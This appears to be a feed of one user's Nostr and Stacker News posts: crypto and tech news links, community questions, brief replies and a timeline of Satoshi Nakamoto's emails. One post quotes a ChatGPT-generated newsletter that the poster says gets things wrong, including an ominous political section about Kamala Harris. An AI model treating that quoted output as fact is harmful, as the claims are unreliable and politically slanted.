SEC crypto cases will be ‘dismissed or settled’ under Trump: Consensys CEO
https://cointelegraph.com/news/sec-crypto-cases-dismissed-donald-trump-united-states-consensys-joe-lubin

> The ongoing legal battles between crypto firms and the United States securities regulator will likely fade away with Donald Trump reelected as the 47th president of the United States, Consensys CEO Joe Lubin said.

originally posted at https://stacker.news/items/768392


That's a good point.


Bitfinex Hacker Sentenced to 5 Years as DOJ Ends $10 Billion Crypto Theft Case
https://decrypt.co/291773/bitfinex-hacker-sentenced-to-5-years-as-doj-ends-10-billion-crypto-theft-case

> Ilya Lichtenstein, who orchestrated the 2016 theft of over 119,000 Bitcoin from crypto exchange Bitfinex, has been sentenced to 60 months in prison for money laundering, the U.S. Department of Justice said Wednesday. The ruling marks a significant conclusion to one of the largest cyber thefts in history, resulting in the recovery of approximately $10 billion in stolen assets.

originally posted at https://stacker.news/items/768325


@chess a3

originally posted at https://stacker.news/items/768303


18 US states file lawsuit against SEC and Gary Gensler
https://cointelegraph.com/news/18-us-states-file-lawsuit-against-sec-gary-gensler

> Following the election of Donald Trump, a shakeup of the SEC's leadership is widely expected by investors and industry executives — which could come as early as January 2025 when Trump assumes office. Several individuals are reportedly being considered as potential replacements for Gensler — including SEC Commissioner Mark Uyeda, who has been an outspoken critic of Gensler's compliance through enforcement approach.

originally posted at https://stacker.news/items/768202


Why are cassette and CD players so bulky now?
https://www.theverge.com/24295971/we-are-rewind-fiio-cassette-player-cd-dm-13

> But after a quick glance at these updated music gadgets in person, we found that they are seemingly not as advanced as some of their vintage counterparts. The dimensions of We Are Rewind’s Bluetooth cassette player are roughly the same as Sony’s first-ever Walkman from 1979 — but by the time the cassette Walkman ended its initial run in the early 2000s, cassette players were practically the size of cassettes themselves. Fiio’s DM-13 Bluetooth CD player has a large square design that resembles a Sony Discman from the late 1980s, even though, by 2001, we had super slim round CD players from iRiver, Panasonic, and Sony with enough anti-skip protection to make it through an entire album.

originally posted at https://stacker.news/items/767959


We all have that one movie or show we turn to when we need a little comfort. Whether it’s for the laughs, the nostalgia, or the familiar characters, these are the ones that never get old.

What’s a movie or series you can watch again and again? What makes it so comforting, and why do you keep coming back to it?

I enjoy The Office with Michael Scott and Dwight Schrute. We watched a lot of that in the past and then again during the pandemic during isolation.

originally posted at https://stacker.news/items/767870

What’s a Comfort Movie or Show You Can Watch Over and Over?


A memory leak in Apple’s Network Extension framework
https://obdev.at/blog/a-memory-leak-in-apples-network-extension-framework/

> Unfortunately that’s another new bug in the Network Extension framework of macOS. It’s a memory leak in Apple’s framework, which developers must use to create a firewall for the Mac. This bug first occurred in macOS 15.0 Sequoia.

originally posted at https://stacker.news/items/767783


Debian Junior Desktop live image
https://get.debian.org/images/weekly-live-builds/amd64/iso-hybrid/

https://wiki.debian.org/DebianJr
https://www.debian.org/blends/

originally posted at https://stacker.news/items/766867


Just taking a break for a bit.


FBI raids home of Polymarket CEO Shayne Coplan
https://nypost.com/2024/11/13/business/fbi-seizes-polymarket-ceos-phone-electronics-after-betting-platform-predicts-trump-win-source/

https://www.axios.com/2024/11/13/polymarket-fbi-shayne-coplan
https://www.coindesk.com/business/2024/11/13/fbi-reportedly-raids-polymarket-ceos-home/
https://www.wsj.com/us-news/law/fbi-polymarket-ceo-investigation-75472d18
https://www.reuters.com/world/us/fbi-raids-polymarket-ceos-home-seizing-phone-electronics-ny-post-reports-2024-11-13/

originally posted at https://stacker.news/items/766783


Sometimes we come across values that resonate deeply only after going through certain experiences. These values may not have been obvious to us earlier, but now they play a meaningful role in how we approach life.

Is there a value you’ve discovered later in life that’s become important to you?

originally posted at https://stacker.news/items/766754

AskSN: What’s a Value You Discovered Later in Life?


A Tight Analysis of GHOST Consistency to improve Bitcoin
https://eprint.iacr.org/2024/1830.pdf

> The GHOST protocol has been proposed as an improvement to the Nakamoto consensus
mechanism that underlies Bitcoin. In contrast to the Nakamoto fork-choice rule, the GHOST rule
justifies selection of a chain with weights computed over subtrees rather than individual paths. This
mechanism has been adopted by a variety of consensus protocols, and is a part of the currently deployed protocol supporting Ethereum.

originally posted at https://stacker.news/items/766651


Great show!

https://fountain.fm/episode/m5FRG6E4sawXh8dq5nTm


Composability Treatment of Bitcoin’s Transaction Ledger with Variable Difficulty
https://eprint.iacr.org/2024/1823.pdf

> As the first proof-of-work (PoW) permissionless blockchain, Bitcoin aims at maintaining
a decentralized yet consistent transaction ledger as protocol participants (“miners”) join and leave as
they please. This is achieved by means of a subtle PoW difficulty adjustment mechanism that adapts to
the perceived block generation rate, and important steps have been taken in previous work to provide
a rigorous analysis of the conditions (such as bounds on dynamic participation) that are sufficient for
Bitcoin’s security properties to be ascertained.

originally posted at https://stacker.news/items/766258


Blackrock Bitcoin ETF Overtakes Gold Trust — The Asset World Shaken
https://news.bitcoin.com/blackrock-bitcoin-etf-overtakes-gold-trust-the-asset-world-shaken/

> Blackrock’s spot bitcoin exchange-traded fund (ETF), the Ishares Bitcoin Trust (IBIT), launched in January, has now surpassed the Ishares Gold Trust (IAU) in assets under management (AUM). According to Factset, IBIT reached approximately $34.3 billion on Friday, overtaking IAU’s nearly $33 billion. This milestone follows President-elect Donald Trump’s victory, with Trump openly supporting cryptocurrency during his campaign, including speaking at the Bitcoin Conference in July. The ETF attracted $1 billion in inflows over the past week and has seen a total of $27 billion in inflows since its inception, driven by bitcoin’s price surge to over $80,000. Although IBIT now exceeds IAU, it remains smaller than the largest gold ETF, SPDR Gold Shares (GLD), which holds roughly $30 billion more. The latest crypto rally, where bitcoin approaches $90,000, further underscores IBIT’s rapid growth as demand for digital assets continues to rise.

originally posted at https://stacker.news/items/765563


MicroStrategy: Michael Saylor will no longer hold more than 50% voting power
https://www.marketwatch.com/story/microstrategy-to-lose-controlled-company-exemption-and-stock-seesaws-higher-b894ba31

> Chair and co-founder Michael Saylor will no longer hold more than 50% of the voting power, but board is already mostly independent

originally posted at https://stacker.news/items/765472


@chess a3

originally posted at https://stacker.news/items/765445


Sometimes our strongest values are the ones that people wouldn’t expect. These unique principles often reveal something special about who we are and what we believe in. Do you hold a value that might surprise others?

originally posted at https://stacker.news/items/765433

AskSN: What’s a Value You Hold That Others Might Find Surprising?


Another simple online DNS query tool
https://nstoolbox.com

originally posted at https://stacker.news/items/762414


The Crypto World Is Preparing for a Renaissance Under Trump
https://archive.is/Xum7Z

> Bernie Moreno was celebrating Tuesday night at La Centre, a banquet center in the Cleveland suburbs, when he got a call from Brian Armstrong, Brad Garlinghouse and a handful of other crypto executives.

originally posted at https://stacker.news/items/762192


@chess a3

originally posted at https://stacker.news/items/762161


Weekends are the perfect time to unwind, explore, or spend time doing what we love. How would you spend your ideal weekend? Would it be all about relaxation, or would you be out and about?

For me, an ideal weekend would start with a slow Saturday morning, a good book and coffee. Then I would spend the afternoon exploring local trails and looking for snacks. Then always a slow Sunday night hopefully.

originally posted at https://stacker.news/items/760492

AskSN: What’s Your Ideal Way to Spend a Weekend?


@chess h3

originally posted at https://stacker.news/items/759635


MicroStrategy shares up 20% in the week following Trump’s victory, rate cuts
https://cointelegraph.com/news/micro-strategy-shares-up-20-week-following-trump-victory-rate-cuts?utm_source=rss_feed&utm_medium=rss&utm_campaign=rss_partner_inbound

> MSTR has surged over 486% in the past 12 months, with the company planning to expand its Bitcoin holdings through a $42 billion purchase by 2027.

originally posted at https://stacker.news/items/759542


If you could accomplish one major goal, what would it be? Why does it matter to you, and how would it change your life or the lives of others?

My ultimate goal is to be part of a mission to Mars one day. I’ve always been fascinated by space exploration.

originally posted at https://stacker.news/items/757861

AskSN: If You Could Accomplish One Big Goal in Your Lifetime, What Would It Be?


BlackRock Bitcoin ETF sees 'biggest volume day ever' with $4.1B traded
https://cointelegraph.com/news/blackrock-bitcoin-etf-sees-biggest-volume-day-ever-4-1-billion-traded?utm_source=rss_feed&utm_medium=rss&utm_campaign=rss_partner_inbound

> BlackRock’s Bitcoin exchange-traded fund (ETF) witnessed a record day of trading after Donald Trump’s victory in the United States presidential election. In a Nov. 6 post to X, Bloomberg ETF analyst Eric Balchunas shared that the iShares Bitcoin Trust (IBIT) witnessed its “biggest volume day ever” with over $4.1 billion in daily trading volume on Nov. 6.

originally posted at https://stacker.news/items/756871


Configuring SSH Keys for Multiple GitHub Accounts
https://stevenharman.net/configure-ssh-keys-for-multiple-github-accounts

> Managing different SSH Keys for different Hosts is well-understood. Different keys for the same host (e.g., github.com), based on which GitHub Organization we’re working with, that’s… a bit trickier. But, we have the technology! We’re going to configure our SSH and Git clients to seamlessly switch SSH keys between our personal GitHub Account and our GitHub Enterprise Cloud, EMU Account.

originally posted at https://stacker.news/items/756795


Secrets of a ransomware negotiator
https://archive.is/1uMZM

> Then, one day, the company’s servers began malfunctioning. A series of alarming emails arrived. “We managed to obtain a lot of secret documents, internal documents classified as strictly confidential, personal data of current employees!” read one. There was a link to a private chat room, and a deadline for using it. The hackers wanted to talk.

originally posted at https://stacker.news/items/756563


Trump’s Victory Is a Major Win for Elon Musk and Big-Money Politics
https://archive.is/Ge9cY

> Mr. Musk almost single-handedly funded an effort that cost more than $175 million. His canvassers knocked on close to 11 million doors in presidential battleground states since August, including about 1.8 million in Michigan and 2.3 million in Pennsylvania, according to people with knowledge of the matter. Another $30 million was spent on a large direct-mail program, and about $22 million on digital advertising, including on Trump-friendly mediums like Barstool Sports.

originally posted at https://stacker.news/items/756525


 nostr:npub1jlrs53pkdfjnts29kveljul2sm0actt6n8dxrrzqcersttvcuv3qdjynqn Does this note imply someone else had your bugsnap API key a couple of weeks ago? https://primal.net/e/note1fkehz0eskqs0et9t524vrwudulxt056kqgekqkdscqx7lakspm3sgmgk5d

"Would whoever is running whatagent.net please remove my bugsnag api key from your deployment, it's clogging up my error reporting."


#Nostrcommand https://image.nostr.build/01199905e0dc455fe42330f9192dff71b390cddc3a9706d484e1145ab341fa8b.jpg


True that


![](https://m.stacker.news/58647)

originally posted at https://stacker.news/items/732719


A lot going on


The Bitcoin space is constantly evolving with new ideas, technologies, and innovations. From Lightning Network advancements to privacy improvements, there’s always something happening that could change the future of Bitcoin.

What do you think is the most exciting or innovative development in Bitcoin right now? I've been following a lot of privacy related advancement in Bitcoin and LN and look forward to learning about more solutions.

originally posted at https://stacker.news/items/732534

What’s the Most Exciting Development in Bitcoin Right Now?


@BitcoinKnots
 is now available on the community marketplace on
nostr:npub126ntw5mnermmj0znhjhgdk8lh2af72sm8qfzq48umdlnhaj9kuns3le9ll


That’s great, I’ll keep following the progress!


That would be awesome.


I’m not surprised.


That girl break dancing in the Olympics


Introducing: AlgoRelay

Build your own nostr algorithm!
https://i.nostr.build/XPRvfXEpnW3C37k3.jpg

AlgoRelay is the first nostr native relay capable of serving personalized, algorithmic feeds without the use of external or proprietary APIs or DVMs.

It prioritizes surfacing content from the people you care about, based on your personal interactions.

For new users, it solves the "who should I follow?" problem by surfacing popular content in a global feed with our best content.

Clients can easily add personalized feeds by  displaying notes from a single relay, using the same REQ parameters we're already using - simply perform an auth handshake.

Coracle is the first client to implement it, you can see it in action here:
https://coracle.social/relays/wss%3A%2F%2Falgo.utxo.one%2F

Don't like the way my relay is surfacing content? You can easily adjust the weightings in your own relay by changing a few numbers - no coding required!

I look forward to seeing a blossoming market of algorithmic relays putting choice back in the user's hands. This is a big step forward for nostr, giving the masses what they want using open source, transparent algorithms.

This relay is released under an MIT license, feel free to use it however you see fit.

To run your own relay, get started here:
https://github.com/bitvora/algo-relay


GM


New Iris version source code is here. Now you can fix your favourite annoying bugs: https://github.com/irislib/iris-client


When you work on something you might never see but you keep dreaming of it.

https://m.primal.net/LamH.png


#Nostrnights https://image.nostr.build/9b541ee683729100dc3a929f6fdefb7589999aab32a83ed81e2591e96bd4fc54.jpg


![](https://m.stacker.news/58340)

originally posted at https://stacker.news/items/729964


A drop of Nostr https://image.nostr.build/3ab39715401f80a28e367107480b7b7411a292c1c56e192acb155d37a26812df.jpg


![](https://m.stacker.news/58097)

originally posted at https://stacker.news/items/728382

Eight Popular Network Protocols Visualized


Sometimes you have to take risks to grow. What's the biggest risk you've ever taken that ended up paying off.

My biggest risk that paid off was moving to another country and starting a new life 10 years ago due to corruption and torture in my home country.

originally posted at https://stacker.news/items/728159

AskSN: What’s the Biggest Risk You’ve Taken That Paid Off?


#Nostrfrog https://image.nostr.build/fadd83f5c994d98a62072f27efa520e0f106c591fbe835c2aa380c560b603584.jpg


Hope you’ve been well!


When people talk about financial freedom, they often focus on investing, saving, or building wealth. But sometimes, the most valuable skills or habits are the ones that aren’t talked about enough. Maybe it’s discipline, emotional resilience, or even something unexpected like negotiation or patience.

What do you think is the most underrated skill or habit for achieving real financial independence?

For me, the most underrated skill is delayed gratification. It’s not just about resisting the urge to spend money now, it’s about thinking long-term in everything you do. When I first started learning about Bitcoin and freedom, I realized that the biggest hurdle wasn’t just making money, but knowing when to hold off on spending it for the right opportunities.

originally posted at https://stacker.news/items/727313

What’s the Most Underrated Skill for Achieving Financial Freedom?


Have so much fun!


#Halloween https://image.nostr.build/d3d4be88d2ec3ce4c1eda5467efef9c9ab3a01f84278c1d1924449ba9ee5f6d1.jpg


I think AI can be useful but it has such a long way to go. With the impending implosion of OpenAI (it will implode and probably faster than we expect) it'll fall to us to make the thing have utility.

I gave ChatGPT the transcript from today's show. It gets some things just plain wrong and "Dark Crypto Agenda" was not on my bingo card. I also never say "Stay Sovereign". I wonder why it came up with that.

-> Prompt <-: "Using the ingested document please write a 200 word newsletter. Make the Kamala section dark and ominous and keep the rest funny and cheerful."

🖤 Kamala Harris's Dark Crypto Agenda 🖤
Kamala Harris has entered the crypto scene, but not in the way any of us expected—or wanted. She recently announced a race-based policy aimed at "protecting" Black Bitcoin investors. But here’s the twist: this isn’t protection; it’s straight-up pandering. By singling out one group for special treatment, Harris is revealing a deeper, more ominous agenda. She’s willing to sacrifice Bitcoin’s core values of decentralization and equality for political points. This isn’t just misguided—it’s dangerous. Harris’s moves could divide the crypto community and push us further into a world of state control and surveillance. Bitcoiners, beware. The stakes are higher than ever.

😄 On the Lighter Side 😄
Meanwhile, the Bitcoin ETFs are having a monster year with inflows of $556 million! Who’s leading the charge? Fidelity—not BlackRock! 🍾 And let’s not forget, open interest in Bitcoin futures is skyrocketing. Sure, some are betting on the price to drop, but we’re here for the fun. Keep buying and HODLing! 🚀

Until next time, stay sharp and stay sovereign!


I still have one I use!


Haha well thank you!


I’ve always liked the style


Where did you get your Crocodile Dundee hat?


"A cyberattack tied to the Chinese government penetrated the networks of a swath of U.S. broadband providers, potentially accessing information from systems the federal government uses for court-authorized network wiretapping requests,"


I've always been interested in Eastern philosophies and Stoicism. When I first heard about Bitcoin, it seemed to align well with the beliefs, ideas, and lifestyle I was already living. I try my best to be self-sovereign, practice a low-time preference, and delayed gratification. I've also learned so much about Linux, servers, etc...

I'm curious to hear what skills you have gained from Bitcoin, or how it has changed or aligns with your lifestyle.

originally posted at https://stacker.news/items/724982

What’s the Most Valuable Skill You’ve Gained from Bitcoin?


GM


Interested in this also


Nice!


What’s the Most Interesting Way You’ve Used #Bitcoin?

Please share the most interesting, unusual, or downright surprising way you've used Bitcoin.

A few years back, I was traveling through a remote area in Eastern Europe, where cash still ruled and card payments were pretty uncommon. One evening, I found myself in a small village, needing a place to stay, but I had completely run out of local currency, and the nearest ATM was a day’s walk away. I ended up chatting with the innkeeper, and to my surprise, he’d actually heard of Bitcoin! Since I’m a proud Bitcoiner, I offered to pay for the room with Bitcoin. He was curious but agreed—as long as I could show him how to set up a wallet. So that night, not only did I find a cozy place to stay, but I also helped introduce someone to Bitcoin for the very first time.


GM Pauly


What should I work on today?


GM Nostr!


Yea that one caused controversy for winning an art contest, but being AI generated.


GM!


A concise timeline of Satoshi's emails:

## 2008

Satoshi Nakamoto begins design and coding work on Bitcoin.

**November 17th:** James A. Donald and Satoshi Nakamoto discuss pending transaction pools on the Cryptography Mailing List.

**December 10th:** The Bitcoin Mailing List is created with a welcome message.

**December 17th:** Satoshi Nakamoto posts about the Bitcoin P2P e-cash paper on the Cryptography Mailing List.

## 2009

**January 3rd:** The Bitcoin Genesis Block is mined at 18:15:05 UTC, containing the message "The Times 03/Jan/2009 Chancellor on brink of second bailout for banks." Satoshi Nakamoto announces the Genesis Block on the Bitcoin Mailing List.

**January 8th:** Satoshi Nakamoto announces the first release of Bitcoin (v0.1) on the Cryptography Mailing List, initially available for Windows only. The announcement includes details about the decentralized nature of Bitcoin, how to run a node, generate coins, and send/receive transactions.

**January 10th - 12th:** Satoshi Nakamoto exchanges emails with Hal Finney, troubleshooting issues with the early Bitcoin software and discussing features like timestamping.

**January 12th:** Satoshi Nakamoto announces Bitcoin v0.1 Alpha release notes on the Bitcoin Mailing List. The announcement includes details about running a node, generating coins, and the future implementation of transaction fees.

**January 24th:** Satoshi Nakamoto exchanges emails with Hal Finney, addressing a bug related to full disk space and code duplication.

**February 4th:** Satoshi Nakamoto announces the release of Bitcoin v0.1.5 on the Bitcoin Mailing List, highlighting improvements based on feedback from Nicholas and Dustin.

**February 18th:** Satoshi Nakamoto describes Bitcoin on the P2P Foundation forum, emphasizing its decentralized nature and rules governing coin issuance and difficulty adjustment.

**March 4th:** Satoshi Nakamoto discusses running multiple nodes, future website integration, and Bitcoin's potential as a timestamp server with Hal Finney on the Bitcoin Mailing List.

**April 27th:** Satoshi Nakamoto responds to Mike Hearn on the Bitcoin Mailing List, clarifying that Bitcoin's decentralized structure makes it distinct from traditional financial institutions, implying different legal implications.

**October 23rd:** Satoshi Nakamoto addresses concerns about Bitcoin crashes on Windows, clarifies the purpose of the "debug.log" file, and mentions working on a new version with Martti.

**November 27th:** Satoshi Nakamoto confirms that a Linux version of Bitcoin is in development and will be included in the upcoming v0.2 release. Satoshi Nakamoto discusses the development status of Bitcoin v0.2 on the BitcoinTalk forum, highlighting upcoming features such as multi-processor support, proxy support, and a new options dialog layout.

**December 11th:** Satoshi Nakamoto explains the mechanics of Bitcoin addresses and transactions, emphasizing the importance of storing addresses to prove ownership.

**December 16th:** Satoshi Nakamoto announces the release of Bitcoin v0.2 on the BitcoinTalk forum. The announcement details new features including multi-processor support, proxy support, minimize to tray option, autostart option, a Linux version, and thanks contributors Martti Malmi and New Liberty Standard.

**December 17th:** Satoshi Nakamoto announces the release of Bitcoin v0.2 on the Bitcoin Mailing List, echoing the BitcoinTalk announcement.

## 2010

**February 5th:** Satoshi Nakamoto explains the divisibility of Bitcoin, noting the internal use of eight decimal places and the possibility of displaying more decimals in the future.

**February 16th:** Satoshi Nakamoto advises on setting up multiple Bitcoin machines behind a NAT, suggesting the use of the "-connect" parameter for bandwidth optimization and redundancy.

**February 17th:** Satoshi Nakamoto discusses Bitcoin client and website translation, explaining the use of language codes, file formats, and providing a walkthrough using Poedit.

**February 23rd:** Satoshi Nakamoto explains that Bitcoin utilizes mouse movements and disk operation timings to generate entropy. Satoshi Nakamoto discusses command-line functionality and JSON-RPC implementation in Bitcoin.

**February 26th:** Satoshi Nakamoto participates in a discussion about a new icon/logo for Bitcoin.

**May 16th:** Satoshi Nakamoto explains why generated Bitcoin addresses are kept permanently and cannot be deleted, highlighting the risk of losing funds. Satoshi Nakamoto suggests improvements to address reuse for sending to the same IP, including caching keys and adding an expiration parameter to "getnewaddress."

**June 22nd:** Satoshi Nakamoto announces the near completion of Bitcoin v0.3, inviting testing from the community. Satoshi Nakamoto shares a Windows RC1 build of Bitcoin v0.3 for testing and troubleshooting an error reported by davidonpda. Satoshi Nakamoto confirms that Laszlo's optimizations will be included in v0.3, resulting in a 20% increase in hashing speed. Satoshi Nakamoto shares a Linux RC1 build of Bitcoin v0.3 for testing and provides instructions for compiling.

**July 2nd:** Satoshi Nakamoto confirms Visual C++ compatibility for compiling Bitcoin, but notes that generating is significantly slower. Satoshi Nakamoto announces the release of Bitcoin v0.3, pointing users to the official website for download.

**July 6th:** Satoshi Nakamoto announces the release of Bitcoin v0.3 on the Bitcoin Mailing List, highlighting new features including command-line control, JSON-RPC, faster hashing, a Mac OS X version, and translations.

**July 9th:** Satoshi Nakamoto addresses a bug affecting Bitcoin 0.3 on Windows where usernames contain non-Latin characters, indicating a potential fix in the SVN. Satoshi Nakamoto discusses security concerns and potential attack vectors, highlighting the robustness of the Bitcoin system.

**July 10th:** Satoshi Nakamoto considers improvements to the "-connect" functionality, discussing its use cases, limitations, and interaction with IRC.

**July 14th:** Satoshi Nakamoto acknowledges the recent difficulty increase and reassures a user experiencing reduced coin generation. Satoshi Nakamoto confirms that Bitcoin 0.3 requires wxWidgets 2.9 for compilation.

**July 15th:** Satoshi Nakamoto confirms a fix for runaway CPU usage on 64-bit Bitcoin clients for Linux, mentioning an undocumented switch "-minimizetotray" to re-enable the option. Satoshi Nakamoto announces the upcoming release of Bitcoin 0.3.1 with a fix for a runtime error, asking for user testing.

**July 16th:** Satoshi Nakamoto investigates an assertion failure error on Ubuntu Lucid, requesting information about block count and offering potential solutions. Satoshi Nakamoto suggests trying the Bitcoin 0.3.1 release candidate to address libcrypto linkage issues. Satoshi Nakamoto announces the release of Bitcoin 0.3.1 on SourceForge, highlighting bug fixes for Windows and Linux.

**July 17th:** Satoshi Nakamoto confirms that the change to reduce outgoing connections from 15 to 8 on non-port forwarded clients will be fully implemented in the upcoming 0.3.2 release.

**July 25th:** Satoshi Nakamoto encourages users to perform traffic load tests on the Bitcoin test network. Satoshi Nakamoto announces the release of Bitcoin 0.3.3, emphasizing important security improvements and new features like HTTP authentication for JSON-RPC and faster initial block download.

**July 27th:** Satoshi Nakamoto incorporates the cached SHA256 state optimization suggested by tcatm into the SVN (rev 113), resulting in a 70% speed increase.

**July 29th:** Satoshi Nakamoto acknowledges the need to improve compatibility with older Ubuntu versions and plans to address it in the future. Satoshi Nakamoto investigates build errors reported on Debian testing 32-bit related to undeclared scopes, suspecting compilation issues without a clean build.

**July 30th:** Satoshi Nakamoto provides detailed instructions and clarifies dependencies for compiling Bitcoin on Ubuntu 9.04.

**August 11th:** Satoshi Nakamoto updates the SVN, addressing a recurring issue related to #ifdef WXMAC_OSX and expressing hope for a smoother development process in the future. Satoshi Nakamoto outlines a theoretical design for a more private Bitcoin system where clients store the entire transaction history, discussing its potential benefits, limitations, and trade-offs.

**August 12th:** Satoshi Nakamoto discusses BSD detection in the Bitcoin codebase, addressing concerns about compatibility and proposing changes to improve platform independence. Satoshi Nakamoto clarifies the design principles of the proposed private Bitcoin system, emphasizing the distinction between client-side and network-side data storage and the importance of maintaining consensus.

**August 13th:** Satoshi Nakamoto participates in a discussion about proposed changes to the "sendtoaddress" API call, advocating for maintaining backward compatibility and suggesting a simple return value of "".

**August 14th:** Satoshi Nakamoto investigates issues with compiling the 4-way parallel hashing code for SSE2 CPUs on MinGW, identifying potential compiler-related problems. Satoshi Nakamoto reports progress on testing the 4-way parallel hashing code, noting a 50% performance decrease on a Core 2 system compared to the stock implementation.

**August 15th:** Satoshi Nakamoto issues a warning on the Bitcoin Mailing List, advising users not to trust any transactions after block 74638 due to a potential problem under investigation. Satoshi Nakamoto shares preliminary code changes on the BitcoinTalk forum aimed at addressing an overflow bug, seeking feedback from the community.

**August 16th:** Satoshi Nakamoto investigates the "-march=amdfam10" compiler flag for AMD processors, confirming its effectiveness but seeking clarification and speed comparisons. Satoshi Nakamoto confirms the inclusion of tcatm's 4-way SSE2 optimization for Linux in Bitcoin 0.3.10, addressing compatibility

 issues and highlighting the improved hashing speed.

**August 18th:** Satoshi Nakamoto shares updated code for the LoadBlockIndex function, aiming to improve the verification process for blocks in the main chain.

**August 26th:** Satoshi Nakamoto discusses the implications of removing the DB_PRIVATE flag from the Berkeley DB implementation, seeking details about potential performance impacts, file locking behavior, and security considerations.

**August 27th:** Satoshi Nakamoto comments on a new web service providing dumps of specific Bitcoin blocks, noting its potential for visualizing block production rates. Satoshi Nakamoto clarifies the distinction between Bitcoins and traditional stocks, highlighting the lack of dividends and drawing comparisons to collectibles or commodities.

**September 5th:** Satoshi Nakamoto suggests a workaround for a CryptoPP assertion error, recommending commenting out a specific line of code and monitoring for potential memory leaks. Satoshi Nakamoto addresses a user's confusion regarding an error message related to incorrect system time, suggesting improved wording for clarity.

**September 6th:** Satoshi Nakamoto acknowledges a request for an auto-backup feature for the "wallet.dat" file, planning to address it in a future version.

**September 12th:** Satoshi Nakamoto discusses the removal of the DB_PRIVATE flag and its impact on Berkeley DB behavior, noting the creation of temporary files and conducting performance tests during an initial block download.

**September 30th:** Satoshi Nakamoto shares a Windows RC1 build of Bitcoin 0.3.13 for testing, highlighting changes related to transaction confirmations, Berkeley DB flags, fractional change handling, SSE2 auto-detection, and contributions from Gavin Andresen.

**October 1st:** Satoshi Nakamoto acknowledges a request for a feature and plans to consider it for a future version, deeming it too late for inclusion in the upcoming 0.3.13 release. Satoshi Nakamoto announces the release of Bitcoin v0.3.13, urging users to upgrade and detailing changes related to transaction confirmations, IP address handling, Berkeley DB flags, fractional change calculations, SSE2 auto-detection, and contributions from Gavin Andresen.

**October 3rd:** Satoshi Nakamoto requests users to test a special build of Bitcoin 0.3.13.1 designed to address the "dust spam" transaction issue, providing download links for Windows and Linux versions. Satoshi Nakamoto clarifies that the Linux 64-bit version of the special build includes a fix for the AMD CPUID detection issue related to 4-way 128-bit SSE2 support. Satoshi Nakamoto shares code changes illustrating the improved CPUID detection for AMD processors in 64-bit mode, addressing a previous compatibility issue.

**October 6th:** Satoshi Nakamoto provides a Windows build of Bitcoin 0.3.13.2 addressing issues with 0/unconfirmed transactions, explaining the refined logic for spending unconfirmed change and highlighting its improvement over the previous version.

**October 23rd:** Satoshi Nakamoto suggests using knightmb's "blk*.dat" files to troubleshoot an issue where a user's Bitcoin client gets stuck during block chain redownload, suspecting potential interference from antivirus software, routers, or firewalls.

**November 28th:** Satoshi Nakamoto strongly advises against using the same "wallet.dat" file on multiple computers simultaneously, explaining the risks of data corruption and recommending alternative approaches for consolidating generated coins.

**November 29th:** Satoshi Nakamoto engages in a discussion about optimizing Bitcoin's performance, addressing concerns about database handling, block index writing, transaction index building, and suggesting potential improvements through read caching and configuration settings.

**December 1st:** Satoshi Nakamoto proposes further database optimizations by adjusting Berkeley DB settings, specifically targeting lock management and enabling asynchronous writes for improved performance.

**December 10th:** Satoshi Nakamoto discusses the scalability and design considerations of integrating BitDNS with Bitcoin, arguing for separate systems to avoid burdening users with unnecessary data and highlighting potential governance challenges.

**December 11th:** Satoshi Nakamoto further elaborates on the concept of separate blockchains for different applications, envisioning an ecosystem where chain-specific coins are traded against Bitcoins on exchanges. Satoshi Nakamoto responds to criticism of the Bitcoin codebase, defending its use of STL and minimal reliance on buffers, suggesting a misunderstanding of the code's structure.

**December 19th:** Satoshi Nakamoto shares code changes implementing a "client-only" mode for Bitcoin, allowing users to interact with the network without downloading the full block chain, highlighting its benefits for faster onboarding and scalability in the future.

## Users

- **Satoshi Nakamoto:** The pseudonymous creator of Bitcoin. A prolific contributor to both the Bitcoin Mailing List and the BitcoinTalk forum, Satoshi was deeply involved in the early development and debugging of the Bitcoin software. Satoshi's emails and forum posts reveal a deep understanding of cryptography, distributed systems, and software engineering.

- **Hal Finney:** A renowned cryptographer and early Bitcoin enthusiast. Hal was one of the first people to correspond with Satoshi Nakamoto and received the first ever Bitcoin transaction. His emails demonstrate a keen interest in Bitcoin's technical details and potential applications.

- **James A. Donald:** An active participant in early Bitcoin discussions on the Cryptography Mailing List. James engaged in technical conversations with Satoshi about the intricacies of the Bitcoin protocol.

- **Martti Malmi (sirius-m):** An early Bitcoin developer who made significant contributions to the software, particularly the v0.2 release. Martti worked on user-friendly features, such as minimize to tray and autostart options, as well as the Linux port of Bitcoin.

- **New Liberty Standard:** An early Bitcoin user who assisted with testing the Linux version of the software.

- **Nicholas & Dustin:** Early Bitcoin users who provided valuable feedback and bug reports that contributed to the development of v0.1.5.

- **Laszlo Hanyecz:** An early Bitcoin developer who contributed code optimizations that significantly increased hashing speed. Laszlo also developed the Mac OS X version of Bitcoin.

- **DataWraith, Xunie, & Joozero:** Early Bitcoin users who contributed German, Dutch, and Italian translations for the software.

- **Gavin Andresen:** A software developer who became involved in Bitcoin development and made significant contributions, particularly in the areas of security and JSON-RPC functionality.

- **theymos:** An active member of the BitcoinTalk forum who provided technical assistance, including patches for specific software issues.

- **davidonpda:** An early Bitcoin user who encountered an error with v0.3 and worked with Satoshi to troubleshoot the problem.

- **tcatm:** A contributor who suggested and developed a cached SHA256 state optimization that led to a significant performance improvement.

- **jgarzik:** A Bitcoin developer who created a CPU miner that supported tcatm's 4-way SSE2 optimization.

- **knightmb:** A BitcoinTalk forum member who provided helpful resources, including a torrent for downloading Bitcoin block data.


thats ok


lol


agreed


Good point


ditto


Likely


How can I attend something like this?


I love photos of regular life


That look like so much fun!


Thanks for the reference. I'll be getting one.


Haha is that you? Great photo


Done


#BreadandToast https://image.nostr.build/b79b868254894654188950cb87cdd98f7a6bdc65578d15469fa93d650a3625da.jpg


Love that service


Thanks for the pics


It looked like a lot of fun


Down


Scary


lol


Wish I was there


Drop your best OPSEC tip for a few sats

#asknostr


Set up guest networks and apply the principle of least privilege to enhance security


They’ve been saying that for years


This is the way.


I was wondering that also


Good points


How much electricity does it take to make all that?


#catstr https://image.nostr.build/442948e327adeac75333c8c40b2032dd6456b34ad9717dea6647728d346c4aba.jpg


Don’t let it kickback


Can anyone recommend some good developer resources for web of trust?

#asknostr


They were one of the OG long-form platforms.


Welcome to RelayMiners! 🚀 We're thrilled to have you in our decentralized Bitcoin mining community powered by Nostr.


Awesome! I haven't roller bladed in forever. I'll be going on some walks in the woods.


I wonder if Craig's new lawsuit is about the HBO Documentary?

https://image.nostr.build/9f5fed8ec3609be3111dec75636beefc2220c1c82cb09ce5b6fc8a53a199850e.jpg


All who  use or contribute to Bitcoin are Satoshi now.


Thanks


